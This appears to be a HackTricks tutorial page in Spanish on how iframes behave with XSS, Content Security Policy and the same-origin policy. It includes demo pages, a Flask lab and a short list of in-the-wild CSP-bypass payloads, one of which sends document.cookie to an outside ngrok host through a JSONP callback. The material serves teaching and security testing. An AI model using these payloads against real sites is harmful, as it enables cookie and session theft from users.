Iframes in XSS, CSP and SOP

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Iframes en XSS

Hay 3 formas de indicar el contenido de una página en un iframe:

  • A través de src indicando una URL (la URL puede ser de origen cruzado o del mismo origen)

  • A través de src indicando el contenido usando el protocolo data:

  • A través de srcdoc indicando el contenido

Accediendo a variables del padre e hijo

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Si accedes al html anterior a través de un servidor http (como python3 -m http.server) notarás que todos los scripts se ejecutarán (ya que no hay CSP que lo prevenga). El padre no podrá acceder a la variable secret dentro de ningún iframe y solo los iframes if2 e if3 (que se consideran del mismo sitio) pueden acceder al secreto en la ventana original. Observa cómo se considera que if4 tiene un origen null.

Iframes con CSP

Por favor, observa cómo en los siguientes bypasses la respuesta a la página con iframe no contiene ninguna cabecera CSP que prevenga la ejecución de JS.

El valor self de script-src no permitirá la ejecución del código JS utilizando el protocolo data: o el atributo srcdoc. Sin embargo, incluso el valor none del CSP permitirá la ejecución de los iframes que colocan una URL (completa o solo la ruta) en el atributo src. Por lo tanto, es posible evadir el CSP de una página con:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Observa cómo la CSP anterior solo permite la ejecución del script en línea. Sin embargo, solo los scripts if1 e if2 se ejecutarán pero solo if1 podrá acceder al secreto principal.

Por lo tanto, es posible burlar una CSP si puedes cargar un archivo JS en el servidor y cargarlo a través de un iframe incluso con script-src 'none'. Esto también potencialmente se puede hacer abusando de un punto final JSONP del mismo sitio.

Puedes probar esto con el siguiente escenario donde se roba una cookie incluso con script-src 'none'. Simplemente ejecuta la aplicación y accede a ella con tu navegador:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Otros payloads encontrados en la naturaleza

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

El contenido dentro de un iframe puede estar sujeto a restricciones adicionales mediante el uso del atributo sandbox. Por defecto, este atributo no se aplica, lo que significa que no hay restricciones en su lugar.

Cuando se utiliza, el atributo sandbox impone varias limitaciones:

  • El contenido se trata como si proviniera de una fuente única.

  • Se bloquea cualquier intento de enviar formularios.

  • Se prohíbe la ejecución de scripts.

  • Se deshabilita el acceso a ciertas APIs.

  • Evita que los enlaces interactúen con otros contextos de navegación.

  • No se permite el uso de complementos a través de <embed>, <object>, <applet>, u etiquetas similares.

  • Se evita la navegación del contexto de navegación de nivel superior del contenido por el propio contenido.

  • Se bloquean las funciones que se activan automáticamente, como la reproducción de video o el enfoque automático de controles de formulario.

El valor del atributo puede dejarse vacío (sandbox="") para aplicar todas las restricciones mencionadas anteriormente. Alternativamente, se puede establecer en una lista de valores específicos separados por espacios que eximen al iframe de ciertas restricciones.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes en SOP

Verifica las siguientes páginas:

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Última actualización